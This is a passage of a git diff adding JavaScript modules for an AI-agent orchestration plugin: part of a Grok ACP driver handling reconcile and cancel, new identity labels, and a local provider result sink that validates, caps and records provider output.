'driver.reconcile.request', + 'Reconcile addresses an existing Grok dispatch; this child has no launch observation.'); + } + assertLaneIdentity(prior, identity, 'driver.reconcile.request'); + const include = view.include ?? capturedFreeze([]); + const latched = hasTerminalLatch(prior); + + if (view.intent === 'restart_reattach' && !latched) { + const reattachRequest = transportIdentityRequest(identity, { + session_id: prior.session_id, + request_id: prior.request_id, + }); + assertNoContentKeys(reattachRequest, 'grok_acp_transport.reattach.request'); + const reattached = callTransport(store, 'reattach', reattachRequest); + assertClosedReceipt(reattached, REATTACH_RECEIPT_KEYS, 'transport.reattach.result'); + if (optOwn(reattached, 'reattached') !== true) { + fail('stale_identity_denied', 'transport.reattach.result.reattached', + 'restart_reattach recovered no live Grok ACP session; the lane fails closed and is never relaunched.'); + } + assertReceiptIdentity(reattached, identity, 'transport.reattach.result'); + const sessionId = assertPatternedId( + optOwn(reattached, 'session_id'), GROK_ACP_SESSION_ID_PATTERN, 'transport.reattach.result.session_id', 'session_id', + ); + if (prior.session_id !== undefined && sessionId !== prior.session_id) { + fail('stale_identity_denied', 'transport.reattach.result.session_id', + 'Reattached session_id does not match the spawned Grok ACP session.'); + } + putLane(store, identity, { ...prior, session_id: sessionId, reattached: true }); + } + + if (latched) { + putLane(store, identity, { + ...prior, + state: capturedIncludes(TERMINAL_LATCH_STATES, prior.state) ? prior.state : 'terminal', + terminal_latch: true, + }); + return driverResult('reconcile', identity, 'terminal'); + } + + const observed = observeLane(store, identity, getLane(store, identity), include); + const disposition = prior.state === 'dispatch_uncertain' && observed.status === 'lost' + ? 'dispatch_uncertain' + : reconcileDisposition(observed.status); + const nextState = disposition === 'unresolved_attention' ? 'unresolved_attention' + : disposition === 'terminal' ? 'terminal' + : disposition === 'dispatch_uncertain' ? 'dispatch_uncertain' + : 'in_progress'; + putLane(store, identity, { + ...getLane(store, identity), + state: nextState, + evidence: observed.evidence, + last_status: observed.status, + session_id: observed.sessionId, + terminal_latch: nextState === 'terminal', + }); + return driverResult('reconcile', identity, disposition); +} + +function runCancel(store, request) { + const view = validateDriverCancelRequestV1(request); + const identity = identityFromEnvelope(view.envelope, view.child_envelope_digest); + const prior = getLane(store, identity); + if (prior === undefined || prior.spawned !== true) { + fail('not_dispatched', 'driver.cancel.request', + 'Cancel addresses an existing Grok dispatch; this child has no launch observation.'); + } + assertLaneIdentity(prior, identity, 'driver.cancel.request'); + if (hasTerminalLatch(prior)) { + putLane(store, identity, { ...prior, state: 'already_terminal', terminal_latch: true }); + return driverResult('cancel', identity, 'already_terminal'); + } + const cancelRequest = transportIdentityRequest(identity, { + session_id: prior.session_id, + request_id: prior.request_id, + }); + assertNoContentKeys(cancelRequest, 'grok_acp_transport.cancel.request'); + const receipt = callTransport(store, 'cancel', cancelRequest); + assertClosedReceipt(receipt, CANCEL_RECEIPT_KEYS, 'transport.cancel.result'); + assertReceiptIdentity(receipt, identity, 'transport.cancel.result'); + if (prior.session_id !== undefined) { + const sessionId = assertPatternedId( + optOwn(receipt, 'session_id'), GROK_ACP_SESSION_ID_PATTERN, 'transport.cancel.result.session_id', 'session_id', + ); + if (sessionId !== prior.session_id) { + fail('stale_identity_denied', 'transport.cancel.result.session_id', + 'Cancel confirmation session_id must match the live Grok ACP session.'); + } + } + const outcome = optOwn(receipt, 'outcome'); + if (!capturedIncludes(GROK_ACP_CANCEL_OUTCOMES, outcome)) { + fail('invalid_format', 'transport.cancel.result.outcome', + `transport.cancel.result.outcome must be one of ${capturedJoin(GROK_ACP_CANCEL_OUTCOMES, ', ')}.`); + } + putLane(store, identity, { + ...prior, + state: outcome, + cancel_outcome: outcome, + terminal_latch: capturedIncludes(TERMINAL_CANCEL_OUTCOMES, outcome), + }); + return driverResult('cancel', identity, outcome); +} + +export function createGrokAcpDriverV1(transport) { + assertGrokAcpTransportV1(transport); + const handlers = capturedCreate(null); + for (const operation of GROK_ACP_TRANSPORT_OPERATIONS) { + const handler = capturedDescriptor(transport, operation)?.value; + capturedDefineProperty(handlers, operation, { + value: handler, + enumerable: true, + configurable: false, + writable: false, + }); + } + OBJECT_FREEZE(handlers); + const store = { + transport, + handlers, + lanes: new MAP_CTOR(), + }; + const driver = capturedCreate(null); + capturedDefineProperty(driver, 'preflight', { + value: (request) => runPreflight(store, request), + enumerable: true, configurable: false, writable: false, + }); + capturedDefineProperty(driver, 'launch', { + value: (request) => runLaunch(store, request), + enumerable: true, configurable: false, writable: false, + }); + capturedDefineProperty(driver, 'reconcile', { + value: (request) => runReconcile(store, request), + enumerable: true, configurable: false, writable: false, + }); + capturedDefineProperty(driver, 'cancel', { + value: (request) => runCancel(store, request), + enumerable: true, configurable: false, writable: false, + }); + OBJECT_FREEZE(driver); + DRIVER_STORES.set(driver, store); + assertProviderDriverV1(driver); + return driver; +} + +export function bindGrokAcpDriverV1(transport) { + const driver = createGrokAcpDriverV1(transport); + const bound = bindProviderDriverV1(driver, grokAcpDriverDeclarationV1()); + DRIVER_STORES.set(bound, DRIVER_STORES.get(driver)); + return bound; +} + +export function inspectGrokAcpLaneEvidenceV1(driver, query) { + const path = 'grok_acp_evidence.query'; + if (query === undefined || query === null) { + fail('invalid_type', path, `${path} must be a plain evidence query object.`); + } + assertDirectJsonClosure(query, path); + assertPlainObject(query, 'invalid_type', path, path); + assertAllowedKeys(query, EVIDENCE_QUERY_KEYS, path); + for (const key of ['run_id', 'assignment_id', 'child_envelope_digest']) { + if (!hasOwn(query, key)) fail('missing_key', `${path}.${key}`, `${path}.${key} is required.`); + } + const digest = assertDigest(optOwn(query, 'child_envelope_digest'), `${path}.child_envelope_digest`); + if (hasOwn(query, 'cursor')) { + assertPatternedId(optOwn(query, 'cursor'), GROK_ACP_CURSOR_PATTERN, `${path}.cursor`, 'event cursor'); + } + const store = storeFor(driver); + const record = store.lanes.get(laneKey(optOwn(query, 'run_id'), optOwn(query, 'assignment_id'))); + if (record === undefined || !digestsEqual(record.identity.child_envelope_digest, digest)) { + fail('stale_identity_denied', path, + 'No Grok ACP evidence is stored for this exact child identity.'); + } + if (record.evidence === undefined) { + return freezeData({ + schema: GROK_ACP_EVIDENCE_SCHEMA_ID, + run_id: record.identity.run_id, + assignment_id: record.identity.assignment_id, + child_envelope_digest: record.identity.child_envelope_digest, + session_id: record.session_id ?? null, + events: capturedFreeze([]), + evidence_truncated: false, + }); + } + return record.evidence; +} + +export function describeGrokAcpAdapterSurfaceV1() { + const declaration = grokAcpDriverDeclarationV1(); + return capturedFreeze({ + schema: GROK_ACP_DRIVER_SCHEMA_ID, + provider: GROK_PROVIDER_SLOT, + agent: GROK_ACP_AGENT, + driver_operations: capturedFreeze([...DRIVER_OPERATIONS]), + transport_schema: GROK_ACP_TRANSPORT_SCHEMA_ID, + transport_operations: capturedFreeze([...GROK_ACP_TRANSPORT_OPERATIONS]), + capability: declaration.capability, + features: declaration.features, + workspace_semantics: 'local_managed_worktree', + workspace_starting_point: 'run_base_sha', + merge_authority: 'none_codex_only_integration', + create_pr_posture: 'prohibited', + confirmation_rule: 'launch_dispatched_only_after_authoritative_acp_ack', + post_spawn_loss_rule: 'exception_timeout_or_loss_returns_dispatch_uncertain_never_replayed', + live_qualification: false, + durable_store: false, + supervisor_cutover: false, + bounds: capturedFreeze({ + event_page: MAX_GROK_ACP_EVENT_PAGE, + event_text_bytes: MAX_GROK_ACP_EVENT_TEXT_BYTES, + event_bytes: MAX_GROK_ACP_EVENT_BYTES, + event_depth: MAX_GROK_ACP_EVENT_DEPTH, + event_items: MAX_GROK_ACP_EVENT_ITEMS, + evidence_bytes: MAX_GROK_ACP_EVIDENCE_BYTES, + attention_prompt_bytes: MAX_GROK_ACP_ATTENTION_PROMPT_BYTES, + timing_ms: MAX_GROK_ACP_TIMING_MS, + cursor_pattern: GROK_ACP_CURSOR_PATTERN.source, + }), + identities: capturedFreeze([ + 'provider', 'model', 'run_id', 'assignment_id', 'lane_index', 'base_sha', + 'child_envelope_digest', 'session_id', 'request_id', 'repository_path', + 'workspace_semantics', 'workspace_starting_point', + ]), + later_real_grok_acp_route: capturedFreeze({ + preflight: 'probe grok-build ACP without spawning a prompt session', + spawn: 'ensureSession({ agent: grok-build, mode: persistent, cwd: managed worktree at run_base_sha })', + dispatch: 'startTurn with exact ChildEnvelopeV1 text; treat as dispatched only after ACP acknowledgement', + observe: 'page turn.events / live progress with the closed caps; never copy envelope bytes into diagnostics', + cancel: 'turn.cancel and wait for cancellation confirmation', + reattach: 'ensureSession resume of the persisted ACP session identity with no new prompt', + forbidden: capturedFreeze([ + 'cli_fallback_after_spawn', 'digest_only_launch', 'direct_mode', 'merge_or_create_pr', + 'post_spawn_retry', 'provider_or_model_substitution', + ]), + }), + feature_values: DRIVER_FEATURE_VALUES, + }); +} + +capturedFreeze(assertGrokAcpTransportV1); +capturedFreeze(createGrokAcpDriverV1); +capturedFreeze(bindGrokAcpDriverV1); +capturedFreeze(inspectGrokAcpLaneEvidenceV1); +capturedFreeze(describeGrokAcpAdapterSurfaceV1); +capturedFreeze(grokAcpDriverDeclarationV1); diff --git a/plugins/codex-co-engineer/mcp/v3/identity.mjs b/plugins/codex-co-engineer/mcp/v3/identity.mjs index 73f2b3a..fe74290 100644 --- a/plugins/codex-co-engineer/mcp/v3/identity.mjs +++ b/plugins/codex-co-engineer/mcp/v3/identity.mjs @@ -130,6 +130,13 @@ export const IDENTITY_LABELS = capturedFreeze(OBJECT_ASSIGN(capturedCreate(null) VERIFICATION_EXECUTABLE_CLOSURE: 'verification-executable-closure.v1', VERIFICATION_COMMAND_PLAN: 'verification-command-plan.v1', VERIFICATION_EXECUTION_RECEIPT: 'verification-execution-receipt.v1', + STORAGE_ROOT: 'storage-root.v1', + AGGREGATE_RUN_ANCHOR: 'aggregate-run-anchor.v1', + AGGREGATE_RUN_COORDINATION: 'aggregate-run-coordination.v1', + AGGREGATE_SUBMISSION_IDEMPOTENCY: 'aggregate-submission-idempotency.v1', + AGGREGATE_RUN_CLAIM: 'aggregate-run-claim.v1', + AGGREGATE_SELECTION_REPLY: 'aggregate-selection-reply.v1', + AGGREGATE_RESOLVED_PLAN: 'aggregate-resolved-plan.v1', })); export const MAX_IDENTITY_DIGEST_PARTS = 16; diff --git a/plugins/codex-co-engineer/mcp/v3/local-provider-result-sink.mjs b/plugins/codex-co-engineer/mcp/v3/local-provider-result-sink.mjs new file mode 100644 index 0000000..53cad6f --- /dev/null +++ b/plugins/codex-co-engineer/mcp/v3/local-provider-result-sink.mjs @@ -0,0 +1,852 @@ +// Local provider result sink (P11; ADR 0001 identifiers +// `bounded_evidence`, `exact_identities`, +// `sanitized_bounded_evidence_model_facing`, +// Gate A `gate_a_valid_raw_and_sanitized_artifacts`, +// `codex_only_final_acceptance`). +// +// Additive v3 module. It is the provider-neutral authority that routes +// final local Grok ACP, Cursor Local ACP, and DSH ACPX/CLI output into +// the accepted P08/P09 raw+sanitized artifact store. It does not sanitize, +// store, or range-read on its own: P09 `sanitizeAndPublishArtifactV1` and +// P08 `verifyStoredArtifactV1` remain the publication/verify authorities, +// and P10 `readSanitizedArtifactV1` is the only model-facing tail reader. +// +// Contract: +// - Exact run_id / assignment_id / provider / model / optional child +// envelope digest identity is bound into the ArtifactRefV1 path and +// the detached receipt. Identities are never guessed or rewritten. +// - The complete transport-available result is stored up to the existing +// raw class cap. Older output is never silently dropped. If the +// upstream/transport was already clipped, available bytes are persisted +// and source_truncated/complete are recorded truthfully. +// - Only sanitized artifacts are model-readable. The return is detached +// deep-frozen content-free metadata: refs, provenance, digests, counts, +// truncation, and a default inline tail of at most 4,096 UTF-8 bytes +// derived through the accepted P10 sanitized reader/ref and aligned +// on a valid UTF-8 boundary. Tail metadata distinguishes inline +// clipping from upstream source truncation. Never raw bytes, secrets, +// prompt text, or live handles. +// - Empty output is not published and does not invent an artifact. +// - Crossing a class cap fails closed rather than clipping toward the cap. +// - Publication that does not verify is not reported. +// +// Provider completion remains evidence, never acceptance. This module does +// not mark tasks complete, replay provider work, or talk to supervisor, +// server, scheduler, or the cloud worker. + +import { Buffer as NodeBuffer } from 'node:buffer'; +import { createHash } from 'node:crypto'; +import { chmod, mkdir } from 'node:fs/promises'; +import path from 'node:path'; +import { types as utilTypes } from 'node:util'; + +import { + validateArtifactRelativePathV1, +} from './artifact-path.mjs'; +import { + ARTIFACT_REF_SCHEMA_ID, + MAX_RAW_ARTIFACT_BYTE_LENGTH, + MIN_ARTIFACT_BYTE_LENGTH, + artifactRefDigestV1, + parseArtifactRefV1, +} from './artifact-ref.mjs'; +import { + readSanitizedArtifactV1, +} from './artifact-reader.mjs'; +import { + ARTIFACT_SANITIZER_SCHEMA_ID, + SANITIZER_CONTENT_ENCODING, + SANITIZER_MEDIA_TYPES, + sanitizeAndPublishArtifactV1, +} from './artifact-sanitizer.mjs'; +import { + openArtifactStoreV1, + verifyStoredArtifactV1, +} from './artifact-store.mjs'; +import { + capturedFreeze, + capturedIncludes, + capturedTest, + isKnownProvider, + isModelId, + sortedCapturedKeys, +} from './grammar.mjs'; +import { DIGEST_HEX_LENGTH } from './identity.mjs'; +import { + RunContractV1Error, + assertRunId, + isAssignmentId, +} from './run-manifest.mjs'; +import { + assertDirectJsonClosure, + assertPlainObject, + fail, + freezeData, + hasOwn, + ownDataValue, +} from './selection-json.mjs'; + +export const LOCAL_PROVIDER_RESULT_SINK_SCHEMA_ID = + 'codex-co-engineer.local-provider-result-sink.v1'; +export const LOCAL_PROVIDER_RESULT_SINK_VERSION = 1; +export const LOCAL_PROVIDER_RESULT_ARTIFACT_KIND = 'provider_report'; +export const LOCAL_PROVIDER_RESULT_STORE_DIR = 'artifacts'; +export const LOCAL_PROVIDER_RESULT_SINK_INLINE_TAIL_MAX_BYTES = 4_096; + +export const LOCAL_PROVIDER_RESULT_SINK_PROVIDERS = capturedFreeze([ + 'grok', 'cursor-local', 'dsh', +]); + +export const LOCAL_PROVIDER_RESULT_SINK_OPTION_KEYS = capturedFreeze([ + 'run_id', + 'assignment_id', + 'provider', + 'model', + 'child_envelope_digest', + 'source', + 'source_truncated', + 'media_type', +]); + +export const LOCAL_PROVIDER_RESULT_SINK_RECEIPT_KEYS = capturedFreeze([ + 'schema', + 'version', + 'published', + 'empty', + 'run_id', + 'assignment_id', + 'provider', + 'model', + 'child_envelope_digest', + 'artifact_kind', + 'relative_path', + 'media_type', + 'raw_ref', + 'sanitized_ref', + 'raw_digest', + 'sanitized_digest', + 'ref_digest_raw', + 'ref_digest_sanitized', + 'source_byte_length', + 'sanitized_byte_length', + 'redaction_counts', + 'sanitizer_version', + 'policy_id', + 'complete', + 'source_truncated', + 'provenance', + 'inline_tail', +]); + +export const LOCAL_PROVIDER_RESULT_SINK_INLINE_TAIL_KEYS = capturedFreeze([ + 'encoding', + 'text', + 'byte_length', + 'offset', + 'max_bytes', + 'inline_clipped', + 'source_truncated', + 'complete', + 'reader_clipped', + 'more', + 'next_offset', +]); + +export const LOCAL_PROVIDER_RESULT_SINK_FAILURE_KEYS = capturedFreeze([ + 'schema', + 'version', + 'published', + 'error', +]); + +export const LOCAL_PROVIDER_RESULT_SINK_ERROR_CODES = capturedFreeze([ + 'artifact_sink_failed', + 'artifact_sink_not_published', + 'artifact_sink_not_verified', + 'artifact_stream_invalid_chunk', + 'artifact_stream_invalid_source', + 'artifact_stream_over_cap', + 'invalid_format', + 'invalid_type', + 'local_provider_required', + 'missing_key', + 'proxy_denied', + 'unknown_key', + 'unknown_provider', +]); + +export const LOCAL_PROVIDER_RESULT_SINK_FAILURE_MESSAGE = + 'The local provider result sink did not publish after provider terminal.'; + +export const LOCAL_PROVIDER_RESULT_SINK_FAILURE_CODE_ALLOWLIST = capturedFreeze([ + ...LOCAL_PROVIDER_RESULT_SINK_ERROR_CODES, + 'accessor_property_denied', + 'artifact_content_conflict', + 'artifact_digest_mismatch', + 'artifact_length_mismatch', + 'artifact_metadata_conflict', + 'artifact_stream_failed', + 'non_enumerable_property_denied', + 'own_undefined_denied', + 'sanitizer_content_encoding_denied', + 'sanitizer_empty_output', + 'sanitizer_media_type_denied', +]); + +export const LOCAL_PROVIDER_RESULT_SINK_FAILURE_PATH_ALLOWLIST = capturedFreeze([ + 'artifact_ref', + 'inline_tail', + 'options.assignment_id', + 'options.child_envelope_digest', + 'options.media_type', + 'options.model', + 'options.provider', + 'options.run_id', + 'options.source', + 'options.source_truncated', + 'provenance', + 'relative_path', + 'root', + 'sanitized', + 'sink', + 'source', +]); + +const PRIVATE_SHA256_PATTERN = /^[0-9a-f]{64}$/u; +const INTRINSIC_VIEW_SURFACE_KEYS = capturedFreeze([ + 'buffer', + 'byteOffset', + 'byteLength', + 'subarray', +]); + +const CREATE_HASH = createHash; +const BUFFER_FROM = NodeBuffer.from.bind(NodeBuffer); +const BUFFER_CONCAT = NodeBuffer.concat.bind(NodeBuffer); +const BUFFER_ALLOC = NodeBuffer.alloc.bind(NodeBuffer); +const JSON_STRINGIFY = JSON.stringify; +const STRING = String; +const PATH_JOIN = path.join; +const PATH_RESOLVE = path.resolve; +const PATH_IS_ABSOLUTE = path.isAbsolute; +const MKDIR = mkdir; +const CHMOD = chmod; +const OBJECT_GET_PROTOTYPE_OF = Object.getPrototypeOf; +const OBJECT_GET_OWN_PROPERTY_DESCRIPTOR = Object.getOwnPropertyDescriptor; +const REFLECT_HAS = Reflect.has; +const ARRAY_BUFFER_IS_VIEW = ArrayBuffer.isView; +const IS_PROXY = utilTypes.isProxy; +const IS_ARRAY_BUFFER = utilTypes.isArrayBuffer; +const IS_SHARED_ARRAY_BUFFER = utilTypes.isSharedArrayBuffer; +const NUMBER_IS_FINITE = Number.isFinite; + +const UINT8ARRAY_PROTOTYPE = Uint8Array.prototype; +const BUFFER_PROTOTYPE = NodeBuffer.prototype; +const OBJECT_PROTOTYPE = Object.prototype; +const ASYNC_GENERATOR_PROTOTYPE = OBJECT_GET_PROTOTYPE_OF( + Object.getPrototypeOf((async function* () {}).prototype), +); +const SYMBOL_ASYNC_ITERATOR = Symbol.asyncIterator; + +function diagnostic(message) { + const text = STRING(message ?? ''); + return text.length <= 200 ? text : text.slice(0, 200); +} + +function failSink(code, field, message) { + fail(code, field, diagnostic(message)); +} + +function hasOwnIntrinsicViewSurfaceOverride(value) { + try { + for (let index = 0; index < INTRINSIC_VIEW_SURFACE_KEYS.length; index += 1) { + const descriptor = OBJECT_GET_OWN_PROPERTY_DESCRIPTOR( + value, + INTRINSIC_VIEW_SURFACE_KEYS[index], + ); + if (descriptor !== undefined) return true; + } + return false; + } catch { + return true; + } +} + +function isIntrinsicBinaryView(value) { + if (value === null || typeof value !== 'object') return false; + if (IS_PROXY(value)) return false; + const proto = OBJECT_GET_PROTOTYPE_OF(value); + if (proto !== UINT8ARRAY_PROTOTYPE && proto !== BUFFER_PROTOTYPE) return false; + if (!ARRAY_BUFFER_IS_VIEW(value)) return false; + if (hasOwnIntrinsicViewSurfaceOverride(value)) return false; + const backing = value.buffer; + if (!IS_ARRAY_BUFFER(backing) || IS_SHARED_ARRAY_BUFFER(backing)) return false; + return true; +} + +function snapshotView(view) { + const copy = BUFFER_ALLOC(view.byteLength); + copy.set(view); + return copy; +} + +function isAcceptableAsyncIterable(source) { + let proto = OBJECT_GET_PROTOTYPE_OF(source); + for (let depth = 0; depth < 4 && proto !== null; depth += 1) { + if (IS_PROXY(proto)) return false; + if (proto === ASYNC_GENERATOR_PROTOTYPE) return true; + if (proto === OBJECT_PROTOTYPE) break; + proto = OBJECT_GET_PROTOTYPE_OF(proto); + } + if (proto !== null && proto !== OBJECT_PROTOTYPE) return false; + if (!REFLECT_HAS(source, SYMBOL_ASYNC_ITERATOR)) return false; + const descriptor = OBJECT_GET_OWN_PROPERTY_DESCRIPTOR(source, SYMBOL_ASYNC_ITERATOR); + if (descriptor === undefined || descriptor.get !== undefined) return false; + return typeof descriptor.value === 'function'; +} + +function digestOf(bytes) { + return CREATE_HASH('sha256').update(bytes).digest('hex'); +} + +function mediaExtension(mediaType) { + if (mediaType === 'application/json') return 'json'; + if (mediaType === 'application/x-ndjson') return 'ndjson'; + if (mediaType === 'text/markdown') return 'md'; + return 'txt'; +} + +function uint32be(length) { + const header = BUFFER_ALLOC(4); + header[0] = (length >>> 24) & 0xff; + header[1] = (length >>> 16) & 0xff; + header[2] = (length >>> 8) & 0xff; + header[3] = length & 0xff; + return header; +} + +function identityNamespaceDigest(identity) { + const provider = BUFFER_FROM(identity.provider, 'utf8'); + const model = BUFFER_FROM(identity.model, 'utf8'); + const digest = BUFFER_FROM(identity.child_envelope_digest ?? '', 'utf8'); + return CREATE_HASH('sha256') + .update(uint32be(provider.byteLength)) + .update(provider) + .update(uint32be(model.byteLength)) + .update(model) + .update(uint32be(digest.byteLength)) + .update(digest) + .digest('hex'); +} + +function providerReportPath(identity, mediaType) { + const binding = identityNamespaceDigest(identity); + const relativePath = `runs/${identity.run_id}/${identity.assignment_id}/${identity.provider}/${binding}/provider-report.${mediaExtension(mediaType)}`; + validateArtifactRelativePathV1(relativePath, 'relative_path'); + return relativePath; +} + +export function localProviderResultReportPathV1(identity, mediaType = 'text/plain') { + if (identity === null || typeof identity !== 'object' || Array.isArray(identity)) { + failSink('invalid_type', 'identity', + 'A provider-report path requires a bounded identity object.'); + } + return providerReportPath(identity, mediaType); +} + +function encodeJsonValue(value) { + assertDirectJsonClosure(value, 'source'); + try { + const text = JSON_STRINGIFY(value); + if (typeof text !== 'string') { + failSink('invalid_type', 'source', + 'The provider result JSON value could not be serialized.'); + } + return BUFFER_FROM(text, 'utf8'); + } catch (error) { + if (error instanceof RunContractV1Error) throw error; + failSink('invalid_type', 'source', + 'The provider result JSON value could not be serialized.'); + } +} + +function chunkToBytes(chunk, field) { + if (typeof chunk === 'string') return BUFFER_FROM(chunk, 'utf8'); + if (isIntrinsicBinaryView(chunk)) return snapshotView(chunk); + failSink('artifact_stream_invalid_chunk', field, + 'Every stream chunk must be a string or an intrinsic Buffer/Uint8Array view.'); +} + +async function collectStream(iterable) { + const parts = []; + let total = 0; + try { + for await (const chunk of iterable) { + const bytes = chunkToBytes(chunk, 'source'); + if (total + bytes.byteLength > MAX_RAW_ARTIFACT_BYTE_LENGTH) { + failSink('artifact_stream_over_cap', 'source', + `The provider result exceeded the ${MAX_RAW_ARTIFACT_BYTE_LENGTH}-byte raw class cap; nothing was published.`); + } + parts.push(bytes); + total += bytes.byteLength; + } + } catch (error) { + if (error instanceof RunContractV1Error) throw error; + failSink('artifact_sink_failed', 'source', + 'The provider result stream failed before its declared length; nothing was published.'); + } + if (total === 0) return BUFFER_ALLOC(0); + if (parts.length === 1) return parts[0]; + return BUFFER_CONCAT(parts, total); +} + +function cliJsonCandidate(value) { + const candidates = typeof value === 'string' + ? [value] + : [value?.result, value?.text, value?.message?.content, value?.content?.text, value?.delta?.text]; + return candidates.find((candidate) => typeof candidate === 'string' && candidate.length > 0) + ?? candidates.find((candidate) => typeof candidate === 'string'); +} + +export function collectCliProviderOutputV1(stdout) { + const raw = STRING(stdout ?? ''); + if (!raw.trim()) return BUFFER_ALLOC(0); + const lines = raw.split(/\r?\n/u); + while (lines.at(-1) === '') lines.pop(); + const records = []; + for (const line of lines) { + try { + const candidate = cliJsonCandidate(JSON.parse(line)); + if (typeof candidate === 'string') records.push({ kind: 'structured', text: candidate }); + } catch { + records.push({ kind: 'plain', text: line }); + } + } + if (records.length === 0) return BUFFER_FROM(raw.trim(), 'utf8'); + let joined = ''; + let previousKind = null; + for (let index = 0; index < records.length; index += 1) { + const record = records[index]; + if (record.kind === 'plain') { + if (previousKind === 'structured') joined += '\n'; + joined += record.text; + if (index < records.length - 1) joined += '\n'; + } else { + joined += record.text; + } + previousKind = record.kind; + } + return BUFFER_FROM(joined, 'utf8'); +} + +export function createLocalProviderResultCollectorV1() { + const parts = []; + let total = 0; + let overflow = false; + + return capturedFreeze({ + append(value) { + if (overflow || value === null || value === undefined) return; + const bytes = typeof value === 'string' + ? BUFFER_FROM(value, 'utf8') + : isIntrinsicBinaryView(value) + ? snapshotView(value) + : null; + if (bytes === null) { + failSink('artifact_stream_invalid_chunk', 'source', + 'Collector chunks must be strings or intrinsic Buffer/Uint8Array views.'); + } + if (total + bytes.byteLength > MAX_RAW_ARTIFACT_BYTE_LENGTH) { + overflow = true; + return; + } + parts.push(bytes); + total += bytes.byteLength; + }, + snapshot() { + const source = total === 0 + ? BUFFER_ALLOC(0) + : (parts.length === 1 ? parts[0] : BUFFER_CONCAT(parts, total)); + return capturedFreeze({ + source, + byte_length: total, + overflow: overflow === true, + }); + }, + }); +} + +async function normalizeSource(source) { + if (source === null || source === undefined) { + return { bytes: BUFFER_ALLOC(0), mediaType: 'text/plain' }; + } + if (typeof source === 'string') { + return { bytes: BUFFER_FROM(source, 'utf8'), mediaType: 'text/plain' }; + } + if (typeof source === 'number' || typeof source === 'boolean') { + if (typeof source === 'number' && !NUMBER_IS_FINITE(source)) { + failSink('invalid_type', 'source', 'JSON number results must be finite.'); + } + return { bytes: BUFFER_FROM(JSON_STRINGIFY(source), 'utf8'), mediaType: 'application/json' }; + } + if (isIntrinsicBinaryView(source)) { + return { bytes: snapshotView(source), mediaType: 'text/plain' }; + } + if (source !== null && typeof source === 'object') { + if (IS_PROXY(source)) { + failSink('proxy_denied', 'source', 'The provider result source is a live or revoked Proxy.'); + } + if (isAcceptableAsyncIterable(source)) { + return { bytes: await collectStream(source), mediaType: 'text/plain' }; + } + if (Array.isArray(source) || OBJECT_GET_PROTOTYPE_OF(source) === OBJECT_PROTOTYPE + || OBJECT_GET_PROTOTYPE_OF(source) === null) { + return { bytes: encodeJsonValue(source), mediaType: 'application/json' }; + } + } + failSink('artifact_stream_invalid_source', 'source', + 'The provider result source must be a string, JSON value, intrinsic byte view, or async iterable of such chunks.'); +} + +function parseIdentity(input) { + if (!hasOwn(input, 'run_id')) { + failSink('missing_key', 'options.run_id', + 'options.run_id is required; the sink binds one exact run identity.'); + } + if (!hasOwn(input, 'assignment_id')) { + failSink('missing_key', 'options.assignment_id', + 'options.assignment_id is required; the sink binds one exact child identity.'); + } + if (!hasOwn(input, 'provider')) { + failSink('missing_key', 'options.provider', + 'options.provider is required; the sink binds one exact local provider.'); + } + if (!hasOwn(input, 'model')) { + failSink('missing_key', 'options.model', + 'options.model is required; the sink binds one exact model identity.'); + } + + const runId = ownDataValue(input, 'run_id', 'options.run_id'); + assertRunId(runId, 'options.run_id'); + const assignmentId = ownDataValue(input, 'assignment_id', 'options.assignment_id'); + if (typeof assignmentId !== 'string' || !isAssignmentId(assignmentId)) { + failSink('invalid_format', 'options.assignment_id', + 'options.assignment_id violates the assignment-id grammar; child artifacts bind one exact child.'); + } + const provider = ownDataValue(input, 'provider', 'options.provider'); + if (typeof provider !== 'string' || !isKnownProvider(provider)) { + failSink('unknown_provider', 'options.provider', + 'options.provider must be a known provider.'); + } + if (!capturedIncludes(LOCAL_PROVIDER_RESULT_SINK_PROVIDERS, provider)) { + failSink('local_provider_required', 'options.provider', + 'The local provider result sink accepts only grok, cursor-local, and dsh.'); + } + const model = ownDataValue(input, 'model', 'options.model'); + if (!isModelId(model)) { + failSink('invalid_format', 'options.model', + 'options.model must be an exact model identifier.'); + } + + let childEnvelopeDigest = null; + if (hasOwn(input, 'child_envelope_digest')) { + const digest = ownDataValue(input, 'child_envelope_digest', 'options.child_envelope_digest'); + if (typeof digest !== 'string' + || digest.length !== DIGEST_HEX_LENGTH + || !capturedTest(PRIVATE_SHA256_PATTERN, digest)) { + failSink('invalid_format', 'options.child_envelope_digest', + 'options.child_envelope_digest must be an exact lowercase SHA-256 hex digest when present.'); + } + childEnvelopeDigest = digest; + } + + return capturedFreeze({ + run_id: runId, + assignment_id: assignmentId, + provider, + model, + child_envelope_digest: childEnvelopeDigest, + }); +} + +function parseSourceTruncated(input) { + if (!hasOwn(input, 'source_truncated')) return false; + const flagged = ownDataValue(input, 'source_truncated', 'options.source_truncated'); + if (flagged !== true && flagged !== false) { + failSink('invalid_type', 'options.source_truncated', + 'options.source_truncated must be an exact boolean when present.'); + } + return flagged === true; +} + +function parseMediaType(input, inferred) { + if (!hasOwn(input, 'media_type')) return inferred; + const mediaType = ownDataValue(input, 'media_type', 'options.media_type'); + if (!capturedIncludes(SANITIZER_MEDIA_TYPES, mediaType)) { + failSink('invalid_format', 'options.media_type', + 'options.media_type must be an identity-encoded text media type.'); + } + return mediaType; +} + +function parseOptions(input) { + assertPlainObject(input, 'invalid_type', 'options', 'The local provider result sink options'); + const keys = sortedCapturedKeys(input); + for (let index = 0; index < keys.length; index += 1) { + if (!capturedIncludes(LOCAL_PROVIDER_RESULT_SINK_OPTION_KEYS, keys[index])) { + failSink('unknown_key', `options.${keys[index]}`, + `options.${keys[index]} is not part of the closed sink vocabulary.`); + } + } + if (!hasOwn(input, 'source')) { + failSink('missing_key', 'options.source', + 'options.source is required; the sink never reads stored artifacts to recover a result.'); + } + const identity = parseIdentity(input); + const sourceTruncated = parseSourceTruncated(input); + const source = ownDataValue(input, 'source', 'options.source'); + return { identity, sourceTruncated, source, input }; +} + +function emptyReceipt(identity, sourceTruncated) { + return freezeData({ + schema: LOCAL_PROVIDER_RESULT_SINK_SCHEMA_ID, + version: LOCAL_PROVIDER_RESULT_SINK_VERSION, + published: false, + empty: true, + run_id: identity.run_id, + assignment_id: identity.assignment_id, + provider: identity.provider, + model: identity.model, + child_envelope_digest: identity.child_envelope_digest, + artifact_kind: LOCAL_PROVIDER_RESULT_ARTIFACT_KIND, + relative_path: null, + media_type: null, + raw_ref: null, + sanitized_ref: null, + raw_digest: null, + sanitized_digest: null, + ref_digest_raw: null, + ref_digest_sanitized: null, + source_byte_length: 0, + sanitized_byte_length: 0, + redaction_counts: null, + sanitizer_version: null, + policy_id: null, 